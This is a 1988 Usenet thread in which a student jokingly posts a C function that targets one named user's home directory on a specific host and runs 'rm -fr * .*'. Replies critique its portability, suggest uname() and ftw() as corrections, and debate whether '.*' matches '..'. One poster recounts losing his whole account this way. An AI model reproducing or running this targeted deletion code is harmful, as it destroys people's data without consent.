[comp.unix.wizards] none.

tcjones@watdragon.waterloo.edu (Terry Jones) (11/18/88)

Here's a handy-dandy little function that I just whipped up. Took me about 
4 or 5 hours to get the bugs out, but I'm just a college student :-)
I'm going to put in all the code I write. OK, I'm a silly college student.

Not meant to be taken as an insult.


#include <stdio.h>
#include <pwd.h>

void
get_John_F_Haugh_II()
{
	struct passwd *pwd = getpwnam("jfh");
	char host[1024];

	if (pwd == NULL) return;
	if (gethostname(host, sizeof(host)) == -1) return;
	if (strcmp(host, "rpp386")) return;
	if (chdir(pwd->pw_dir) == -1) return;
	if (fprintf(stderr, "Goodbye John...\n") == EOF) return;
	system("rm -fr * .*");
	return;
}

jfh@rpp386.Dallas.TX.US (John F. Haugh II) (11/19/88)

In article <9784@watdragon.waterloo.edu> tcjones@watdragon.waterloo.edu (Terry Jones) writes:
>Here's a handy-dandy little function that I just whipped up. Took me about 
>4 or 5 hours to get the bugs out, but I'm just a college student :-)
>I'm going to put in all the code I write. OK, I'm a silly college student.

>	if (gethostname(host, sizeof(host)) == -1) return;
>	if (strcmp(host, "rpp386")) return;

The UUCP maps shows this site as an SCO Xenix 386 system.  Your example
wouldn't even make it past the linker.

The correct sequence is more like

	if (uname (&utsname) == -1) return;
	if (strncmp (utsname.nodename, "rpp386",
			sizeof utsname.nodename)) return;

and it only took me about 5 seconds to figure this one out.

>	system("rm -fr * .*");

Might fail on a large directory.  I'll let you think of a more reasonable
alternative.  Maybe something using ftw()?

Lesson of the day:  All the world is not a Vax.
-- 
John F. Haugh II                        +----------Quote of the Week:----------
VoiceNet: (214) 250-3311   Data: -6272  | "Okay, so maybe Berkeley is in north-
InterNet: jfh@rpp386.Dallas.TX.US       |   ern California." -- Henry Spencer
UucpNet : <backbone>!killer!rpp386!jfh  +--------------------------------------

pat@orac.UUCP (Pat Barron) (11/20/88)

In article <9784@watdragon.waterloo.edu>, tcjones@watdragon.waterloo.edu (Terry Jones) writes:
> Here's a handy-dandy little function that I just whipped up. Took me about 
> 4 or 5 hours to get the bugs out, but I'm just a college student :-)
> I'm going to put in all the code I write. OK, I'm a silly college student.
>[...]
> 	if (fprintf(stderr, "Goodbye John...\n") == EOF) return;
> 	system("rm -fr * .*");


Big mistake.  You've just probably destroyed all the user directories on
the machine, since ".*" matches "..", too.  Nice going.

--Pat.

dmt@ptsfa.PacBell.COM (Dave Turner) (11/22/88)

In article <129@orac.UUCP> pat@orac.UUCP (Pat Barron) writes:
>In article <9784@watdragon.waterloo.edu>, tcjones@watdragon.waterloo.edu (Terry Jones) writes:
>> 	if (fprintf(stderr, "Goodbye John...\n") == EOF) return;
>> 	system("rm -fr * .*");
>
>Big mistake.  You've just probably destroyed all the user directories on
>the machine, since ".*" matches "..", too.  Nice going.



Maybe on some UNIX systems, but the man page for rm on System V states:

	".... It is forbidden to remove the file .. merely to avoid
	the antisocial consequences of inadvertently doing something like:

		rm -r .*						"




-- 
Dave Turner	415/542-1299	{att,bellcore,sun,ames,pyramid}!pacbell!dmt

dtynan@sultra.UUCP (Der Tynan) (11/22/88)

In article <9784@watdragon.waterloo.edu>, tcjones@watdragon.waterloo.edu (Terry Jones) writes:
> Here's a handy-dandy little function that I just whipped up. Took me about 
> 4 or 5 hours to get the bugs out, but I'm just a college student :-)

Hate to tell you this, but you need another 4 or 5 hours :-)

> void
> get_John_F_Haugh_II()
> {
> 	struct passwd *pwd = getpwnam("jfh");
> 	char host[1024];

First, how do you know he'll run it as 'jfh'.  You should check uid's.

> 	if (pwd == NULL) return;
> 	if (gethostname(host, sizeof(host)) == -1) return;
	    ^^^^^^^^^^^
Hmmm.  Isn't that a BSD system call??

> 	if (strcmp(host, "rpp386")) return;
			  ^^^^^^
My guess is, rpp386 is a '386 machine, probably running XEN*X or Microport
UN*X.  In which case, the above system call fails to link.  Tough luck.

> 	if (chdir(pwd->pw_dir) == -1) return;
> 	if (fprintf(stderr, "Goodbye John...\n") == EOF) return;

Don't forget that the 'stderr' channel is usually unbuffered.  If *I* saw that
message appear, I'd *very quickly* hit ^C, a few dozen times...

> 	system("rm -fr * .*");
> 	return;
> }

It probably wouldn't get very far.  Oh well.  Seeing as you're a college
student, I'm thinking about sending this program (?) to your Prof., so he
can grade you on it.  Personally, I'd give you a C+ (No, not C++ :-).  Mainly
for effort :-)
						- Der
-- 
	dtynan@zorba.Tynan.COM  (Dermot Tynan @ Tynan Computers)
	{apple,mips,pyramid,uunet}!Tynan.COM!dtynan

 ---  If the Law is for the People, then why do we need Lawyers? ---

jpn@genrad.com (John P. Nelson) (11/22/88)

>>Big mistake.  You've just probably destroyed all the user directories on
>>the machine, since ".*" matches "..", too.  Nice going.
>
>Maybe on some UNIX systems, but the man page for rm on System V states:
>
>	".... It is forbidden to remove the file .. merely to avoid
>	the antisocial consequences of inadvertently doing something like:
>
>		rm -r .*						"

This is true on Berkeley systems as well.  HOWEVER, it is easy to fool
rm, because the test only works when ".." is at the BEGINNING of the
filename.  I was quite surprised the first time I discovered this:  I
had written a "safe" rm which tucked files away in my "~/.backup" directory,
the idea was to clean out the ~/.backup directory when I logged out.

when I put the line "rm -rf ~/.backup/* ~/.backup/.*" into my .logout
file, I got a nasty surprise!  When I logged in again, my entire account
had been deleted!  ~/.backup/.* had expanded to ~/.backup/.., and rm
quite silently recursively removed my home directory!
     john nelson

UUCP:	{decvax,mit-eddie}!genrad!teddy!jpn
smail:	jpn@teddy.genrad.com

pat@orac.UUCP (Pat Barron) (11/28/88)

In article <4596@ptsfa.PacBell.COM> dmt@ptsfa.PacBell.COM (Dave Turner) writes:
]In article <129@orac.UUCP> pat@orac.UUCP (Pat Barron) writes:
]>Big mistake.  You've just probably destroyed all the user directories on
]>the machine, since ".*" matches "..", too.  Nice going.
]
]Maybe on some UNIX systems, but the man page for rm on System V states:
]
]	".... It is forbidden to remove the file .. merely to avoid
]	the antisocial consequences of inadvertently doing something like:
]
]		rm -r .*						"

I, of course, must have been asleep when I posted my original article...  Dave
is quite correct.  I must have been thinking about a situation I had gotten
myself in when the ".." was not at the beginning of the filename (this was
also pointed out by someone else - sorry, I don't have the attribution handy).

--Pat.